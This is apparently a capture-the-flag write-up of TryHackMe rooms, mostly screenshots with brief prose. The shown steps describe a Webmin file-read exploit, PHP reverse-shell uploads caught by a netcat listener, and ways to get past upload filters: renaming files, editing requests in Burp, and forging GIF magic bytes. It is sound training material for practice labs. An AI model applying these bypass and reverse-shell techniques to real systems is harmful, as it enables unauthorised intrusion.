![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCZJeH-a2SGdGv8zQL%2Fimage.png?alt=media\&token=43e9f171-1d6b-4fd2-a0a6-ba6b632e70f7)

We have the password, lets login and read the user flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCZYxc_0onVW1XHMP1%2Fimage.png?alt=media\&token=84e95471-8436-4032-933a-f84c2eb6a485)

## Exposing services with reverse SSH tunnels

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCi58a6taAc-x1gy9P%2Fimage.png?alt=media\&token=a7005448-bc62-41b7-9418-3c84a13d1dbb)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCiOjI3-i3wsIdbQ_N%2Fimage.png?alt=media\&token=0cbe4135-391e-4f77-8975-b72c8cd9bacd)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCiSOaOevBB0YR3zj1%2Fimage.png?alt=media\&token=dbf1faf0-8600-4e12-aade-bf6963490c0e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCildZ4kbC3Jr8_KLd%2Fimage.png?alt=media\&token=64ce8d97-3caa-41a5-a227-839176641a55)

Now lets visit localhost:10000&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCitB_vxl8COzcPwQw%2Fimage.png?alt=media\&token=4f963f10-9d10-41a3-8918-2930ea8c0c47)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCj50cE5nmh84G_rew%2Fimage.png?alt=media\&token=4ab5ae54-a279-45db-a029-5d11a76cc1a3)

Lets login with the credentials we have.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCjFjJZRgw3IlX707X%2Fimage.png?alt=media\&token=233ac395-c608-40f1-a784-d92f4ef522ef)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCjJ9SY6HLYT_Ugh-r%2Fimage.png?alt=media\&token=ac335f77-ea6d-4599-9772-220e9ded1a61)

## Privilege Escalation with Metasploit

Lets start metasploit and look for the version of the CMS we just found.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCk8RwoholVTMGhaN4%2Fimage.png?alt=media\&token=196eb670-a4b5-4116-8060-af4bea0c5542)

We have a exploit , now we can use this module or we can try this manually, lets do it manually, lets go to the /file/show\.cgi file. The exploit can be read [here](<http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf&#xD;&#xA;>). After reading this, we can see that we might be able to read the root flag, lets try to do that as we know where the root flag is located on the system (in most tryhackme rooms)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeCStdWyBn1YnLN7Pw5%2F-MeCl_6Bku1sIOEm9j8D%2Fimage.png?alt=media\&token=7a8f162f-0dc8-4afc-8bc2-4cd6c7bbe120)


# Upload Vulnerabilities

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-Mdt7DhtSBQBqnaDvc0e%2Fimage.png?alt=media\&token=815a1466-51ee-4b30-a884-648604df3b52)

## Introduction

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-Mdt7rHoxdEYKcqwGYV9%2Fimage.png?alt=media\&token=cc48ca9c-bb4c-4073-9899-f539b468e12b)

## General Methodology

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-Mdt8aQF8wUYlHWDDYMj%2Fimage.png?alt=media\&token=eb0f4dfe-ba8c-40b4-8d16-dbd154c28167)

## Overwriting Existing Files

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-Mdt8ujRm_w7ATwnEUq6%2Fimage.png?alt=media\&token=3940f2cb-fbc6-47d8-bd44-35a0d82c1f7f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-Mdt91w7IT8PKeXSHMDU%2Fimage.png?alt=media\&token=2d86a4f1-0a99-415e-9274-31bb63db2293)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-Mdt99ZhWw4ghF2CgIda%2Fimage.png?alt=media\&token=3606a289-b74b-44ba-8a07-04cfdca622c0)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-Mdt9hDt-zPfGVpUzaaD%2Fimage.png?alt=media\&token=671f3256-bdb9-47e7-84b7-32053fe7cf19)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-Mdt9mcIISx0kLZcuFdq%2Fimage.png?alt=media\&token=88cc050b-2e19-4f4d-80df-6552da3a42f0)

Lets check the domain they provided for us to practice

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtA28RSlT6B8XugvgY%2Fimage.png?alt=media\&token=eb2213c5-5dc5-454d-ac33-700f6e0ae9bd)

Lets look at the source code to see the name of the image on the webpage.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtAEeQusms0XB_Ymsz%2Fimage.png?alt=media\&token=f996f38f-5ef4-4eb1-8825-01f9a8c6a4d9)

Its called mountains.jpg, lets download another image from the internet and call it mountains.jpg

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtAq3h4vv_MzPZPdMD%2Fimage.png?alt=media\&token=53c16e20-b513-4cf6-8419-8e76c29e91fc)

Lets now upload it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtB-P4T_t66TerlG9h%2Fimage.png?alt=media\&token=11ae54e8-e360-4e23-ae58-3be29cbe0825)

## Remote Code Execution

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtBcCgwV16J9uyROZQ%2Fimage.png?alt=media\&token=550acfbe-a9af-43da-bfe5-a7a3009db114)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtBl-UJ-UfRS3tDRBR%2Fimage.png?alt=media\&token=2c8efe0a-dfc9-4349-bfac-3414e1c1cc12)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtBt_nm9ppYeWRE9nY%2Fimage.png?alt=media\&token=d02ebd42-f89e-4689-b2d1-5b57f13fbf25)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtC3olVfSAirlcdzct%2Fimage.png?alt=media\&token=297b40f9-38fd-49c1-964a-c9493fd4adc7)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtCEudteED9XbuomJm%2Fimage.png?alt=media\&token=6396b91b-c17a-4786-b8a4-fb6c586762ae)

Lets go to the domain to practice this exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtCOtlwuV38iwdiBlu%2Fimage.png?alt=media\&token=8894cbca-b8f9-42ff-96ea-d5b50c019e4a)

Lets run a gobuster scan to find the directory where files are being uploaded.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtCixvcp-r1Wr2R_vB%2Fimage.png?alt=media\&token=154e69ed-2a93-48be-8b01-107b3404c832)

We have two directories, lets upload our reverse shell and see where it is stored.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtCw0vXOre-MLVuL_j%2Fimage.png?alt=media\&token=764bdc80-7dfb-4348-a65a-8d43c72eddf3)

Once uploaded successfully, lets go check where the file is.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtD2wk6T_z0kXUwE9p%2Fimage.png?alt=media\&token=8d1aed21-a523-44fa-9547-63e1efc22d5e)

It is in the /resources directory, now lets start a netcat listener on our machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtDCTaVNj69KStAcwB%2Fimage.png?alt=media\&token=18408cca-5e56-41cf-a8e3-eef2068fd31e)

Now lets click on the file in the browser and we should get a reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtDJppBPnWkg0ZEz9w%2Fimage.png?alt=media\&token=564c4127-a537-40e5-82fb-73511b879282)

Lets cd to /var/www and read the flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtDWsK8bku6xy5317U%2Fimage.png?alt=media\&token=0950c09e-7b34-4806-8723-4ec63a56cf3b)

## Filtering

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtE25EZBoB1bpx-Xi3%2Fimage.png?alt=media\&token=2274299c-7154-4016-999f-836b632f0b1e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtENbFUz3NrqwpRSS2%2Fimage.png?alt=media\&token=b3538dc8-6b6c-428b-a35b-3107f1dd7a3f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtEl1PODTHyxppdogs%2Fimage.png?alt=media\&token=1ced6ab6-f37c-493e-850e-bc2bd9988575)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtEzHPQOhIGDD5Y-_L%2Fimage.png?alt=media\&token=d2ab56f0-ca62-4f62-bb88-dca2b65e2761)

## Bypassing Client-Side Filtering

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtFsZncoXlIVBOX-0O%2Fimage.png?alt=media\&token=d5f17f55-3165-4a70-b120-07f11d2a2d41)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtG-IuoJs5akZggvAK%2Fimage.png?alt=media\&token=e7a10150-df3c-43f8-b7da-c479020ba9fb)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtG5R5Jr0GpO_QIHKi%2Fimage.png?alt=media\&token=a1605722-c62e-4c7b-8ca7-e48e301a284b)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtGAJk_WMO8nZb0kGp%2Fimage.png?alt=media\&token=79400c02-3896-43ca-bd1c-57feb7c49003)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtGqbDLigsumigmWID%2Fimage.png?alt=media\&token=32560fb8-5d7d-4bf0-a17a-561b015c5de0)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtGxUdLouRYmUzAq0B%2Fimage.png?alt=media\&token=9ee78880-2dcf-41ac-9d7f-f74411bc2ac1)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtHAMqcmyIw35ek0sb%2Fimage.png?alt=media\&token=16c070f0-f914-4664-8ae4-9a43e89d2910)

Lets check the domain

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtQIVXwx4zD836pZNA%2Fimage.png?alt=media\&token=33801d69-858b-4094-b1c4-a37589f338da)

Lets open burp

Lets look at the client side filter script

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtSJVpTLsxtCXPXptc%2Fimage.png?alt=media\&token=f913f08b-b238-48c9-905a-2e8ae10f4278)

Looks like only png files are allowed. Lets change our shell file name to shell.png and upload it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtS_CGeMuOSv-HUVOo%2Fimage.png?alt=media\&token=2e22f158-e967-4db1-b5bc-feafbaf1d2b8)

Now lets turn on intercept on burp and capture the upload request.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtSnTgH_FsaWJ0BjSu%2Fimage.png?alt=media\&token=75b7b9d5-ac68-4e3e-bc8b-c4fba784f756)

Now lets send this to repeater and change the filename and content-type

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtTB3-1Yy3-NKpXFWk%2Fimage.png?alt=media\&token=36ac1c90-2a8d-44d2-9e8d-1272c712526d)

Now lets send it and check if we can upload it successfully

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtTGMjak_QdzWjCbkq%2Fimage.png?alt=media\&token=4408fbce-53bf-4236-bb36-2441e5c90307)

And we can, so lets change the filename and content-type in the proxy tab and upload the file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtTStyDbQ_RgZ3UaYv%2Fimage.png?alt=media\&token=be1bbbb0-5a6b-4457-84a8-27af86de80df)

Now lets run a gobuster scan to find the place where files are being uploaded.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtTc2kTa6U9GPV_daV%2Fimage.png?alt=media\&token=c3319bda-beb7-45aa-8d3e-182b9d92df35)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtTdnM3InONtgHQ_lt%2Fimage.png?alt=media\&token=ebd8b973-440c-467a-a787-f54dbc249e53)

We found the file, lets start a netcat listener on our machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtU6JM4dx9Xynq_yls%2Fimage.png?alt=media\&token=e00e8546-fe00-40c9-af61-c9b1077ec97c)

Now lets click on the file name

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtUAMcgNPkAjfDr81c%2Fimage.png?alt=media\&token=47435239-65cb-4038-bf29-87a0392282bd)

We have a shell. Lets cd to /var/www and read the flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdt7AO_GfVEjJX7miwt%2F-MdtUKWjfXzseLOyDQdP%2Fimage.png?alt=media\&token=5236c405-5db1-4fb1-9502-4c4bf92b05bd)

## Bypassing Server-Side Filtering: File Extensions

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyS3mQvX1zBz707zms%2Fimage.png?alt=media\&token=7c8f2ece-c2a9-43ac-8e46-4846ce12bf37)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdySCJ0D8pD_iXrjjlL%2Fimage.png?alt=media\&token=1c1afa2e-7f4d-406d-bd39-22d89be4315d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdySIl_SDlO4htFC55H%2Fimage.png?alt=media\&token=22a57b4d-a114-4e49-929f-21d0f78cfa9d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdySWq8BIIOhhKQSLPY%2Fimage.png?alt=media\&token=a935196b-0494-45bb-b8fa-b76d0d33e3d4)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdySh9H0-WnhGiYAXiI%2Fimage.png?alt=media\&token=9700b135-f19a-4451-ba8c-41b125af8914)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdySkZR1N3KuG1XJaEk%2Fimage.png?alt=media\&token=ce7bd813-3acd-4e5e-8336-bea30d1ae767)

Lets check the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyT25qdLs6gY1-sOek%2Fimage.png?alt=media\&token=e8a727e8-168a-4ecb-a7af-774dc949d310)

Lets type in `select` in the terminal to select different files and see what extension is allowed. After testing a bit, I found out that php file are not allowed, but jpg images are allowed, so lets change the extension of our shell.php file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyYBN6gdFnCMr7CNzn%2Fimage.png?alt=media\&token=9130105b-a3c8-471e-a5f7-e9df688a9b54)

Now lets upload it. After that lets find the directory where the file is being uploaded with gobuster.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyUoAxvEdABn3EF0bE%2Fimage.png?alt=media\&token=98e3daa4-456e-4ab6-952f-f7acaee303f1)

Lets check the /privacy directory.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyYR_q2Wvyp7G_Ao-I%2Fimage.png?alt=media\&token=40b50c22-2004-4f74-ae08-12981d24dda7)

Looks like the files are being uploaded here and we see our file here, lets start a netcat listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyYYCYehENktdCoGP7%2Fimage.png?alt=media\&token=dccc9e6a-afbf-432b-be49-a251c3d333c8)

Now lets click on the file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyYbx0c-fuAoRS9Qyq%2Fimage.png?alt=media\&token=82d94da5-a0b9-4726-b189-2fa065685fa5)

We have a shell, lets read the flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyYjpWFXTeiIT0K_IB%2Fimage.png?alt=media\&token=f6ddd5ee-a658-47bd-b8bc-92476875e784)

## Bypassing Server-Side Filtering: Magic Numbers

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyZLT7pbYmWwPQ_NJx%2Fimage.png?alt=media\&token=59b2c59f-41d3-44a0-a517-1012d703d990)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyZZl8CgTHkol7gXts%2Fimage.png?alt=media\&token=ebedbc34-ad22-4c13-b073-02f855d34800)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyZeDmfgdGs_TgXiN9%2Fimage.png?alt=media\&token=f1131302-06b3-4667-9ad9-361c74d2457d)

Lets check the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-Mdy_X5QY4TPp1CL7f6U%2Fimage.png?alt=media\&token=38828822-e052-44e0-b5c7-b3c1d67d7bd4)

Lets first check what type of files are allowed.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-Mdy_gcMFdEzmsZnwwsg%2Fimage.png?alt=media\&token=aa715067-603e-4d16-a4c7-e037b9f21ed2)

Looks like we have our answer, lets change the hex values in the starting of the file to GIF. Lets first add 4 A's to the start of the shell.php file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdybCUkrSW1M7xtss7F%2Fimage.png?alt=media\&token=0365f1bc-d233-40dd-94f9-b66753eb4a02)

Now lets open it with hexeditor.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdybKXBH0-IT7fnJYP5%2Fimage.png?alt=media\&token=a0c1e4fb-b371-4ee2-bf66-257bbc49125b)

Now lets change it to the GIF image values.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdybTGdIvCQP3gH4h83%2Fimage.png?alt=media\&token=1a05c0f2-bc8c-44bf-9bef-a55db69efaec)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdycOZB4u6ko0FO4ckG%2Fimage.png?alt=media\&token=0f126b34-8ae9-465b-83bc-342cf89926c4)

Now lets save it and upload it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdycVUve1S1QsHlFNN5%2Fimage.png?alt=media\&token=b252f248-45f5-4172-8053-934a2269cd90)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdycjBx7uTxDLMcVBDm%2Fimage.png?alt=media\&token=2859b760-bf3a-4675-b398-3be13fd42a56)

Now lets run a gobuster scan to find where the file has been uploaded.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-Mdyd3HGxPE_D_vEIuEc%2Fimage.png?alt=media\&token=dc915304-e26d-4405-9851-c557a95e40c1)

Lets check the graphics directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-Mdyd8tNlG13M4-atgTv%2Fimage.png?alt=media\&token=00385018-b593-40b3-ad6b-6b109f6e30f3)

Looks like we are not allowed to access this directory, but we can assume that the file has been uploaded here, so lets start a netcat listener and travel to the URL where the file is located (assuming).

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdydPmkGeWPDx6y5ils%2Fimage.png?alt=media\&token=e008f8be-6a33-4066-b147-47292e15ad87)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdyRa6DHJEQ-o1bJqCV%2F-MdyduZiHPsj07iD8l4x%2Fimage.png?alt=media\&token=10f4aecb-72bb-4faa-a01a-93d94294b828)

It looks like the file is not being executed. After looking at the file for a while, I realized it was missing a < symbol before thee ?php text, lets add that.

